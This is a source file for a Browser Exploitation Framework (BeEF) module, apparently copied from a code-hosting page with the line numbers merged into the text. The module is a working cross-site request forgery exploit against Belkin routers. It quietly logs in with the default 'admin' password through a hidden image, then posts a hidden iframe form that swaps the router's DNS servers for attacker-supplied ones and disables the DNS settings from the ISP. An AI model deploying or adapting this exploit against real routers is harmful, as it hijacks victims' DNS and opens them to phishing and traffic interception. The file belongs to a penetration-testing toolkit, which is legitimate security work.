Path: blob/master/modules/exploits/router/belkin_dns_csrf/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// config9var proto = 'http'10var rhost = '<%= @rhost %>';11var dns1 = '<%= @dns1 %>';12var dns2 = '<%= @dns2 %>';13var timeout = 15;1415// validate primary DNS server IP address16if (!beef.net.is_valid_ip(dns1)) {17beef.debug('Invalid Primary DNS server IP address was provided');18beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");19return;20}21var parts = dns1.split('.');22var dns1_1 = parts[0];23var dns1_2 = parts[1];24var dns1_3 = parts[2];25var dns1_4 = parts[3];2627// validate secondary DNS server IP address28if (!beef.net.is_valid_ip(dns2)) {29beef.debug('Invalid Secondary DNS server IP address was provided');30beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");31return;32}33var parts = dns2.split('.');34var dns2_1 = parts[0];35var dns2_2 = parts[1];36var dns2_3 = parts[2];37var dns2_4 = parts[3];3839// attempt auth with default password (admin)40// incorrect login attempts do not log out an authenticated session41var img = new Image();42img.setAttribute("style", "visibility:hidden");43img.setAttribute("width", "0");44img.setAttribute("height","0");45img.id = 'belkin_auth_<%= @command_id %>';46img.src = proto + '://' + rhost + "/cgi-bin/login.exe?pws=admin";47document.body.appendChild(img);4849// change DNS50var belkin_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(proto + '://' + rhost + '/cgi-bin/setup_dns.exe', "POST", "application/x-www-form-urlencoded", [51{'type':'hidden', 'name':'dns1_1', 'value':dns1_1},52{'type':'hidden', 'name':'dns1_2', 'value':dns1_2},53{'type':'hidden', 'name':'dns1_3', 'value':dns1_3},54{'type':'hidden', 'name':'dns1_4', 'value':dns1_4},55{'type':'hidden', 'name':'dns2_1', 'value':dns2_1},56{'type':'hidden', 'name':'dns2_2', 'value':dns2_2},57{'type':'hidden', 'name':'dns2_3', 'value':dns2_3},58{'type':'hidden', 'name':'dns2_4', 'value':dns2_4},59{'type':'hidden', 'name':'dns2_1_t', 'value':dns2_1},60{'type':'hidden', 'name':'dns2_2_t', 'value':dns2_2},61{'type':'hidden', 'name':'dns2_3_t', 'value':dns2_3},62{'type':'hidden', 'name':'dns2_4_t', 'value':dns2_4},63{'type':'hidden', 'name':'auto_from_isp', 'value':'0'} // disable dns from ISP64]);6566beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");6768// clean up69cleanup = function() {70document.body.removeChild(belkin_iframe_<%= @command_id %>);71document.body.removeChild(belkin_auth_<%= @command_id %>);72}73setTimeout("cleanup()", timeout*1000);7475});76777879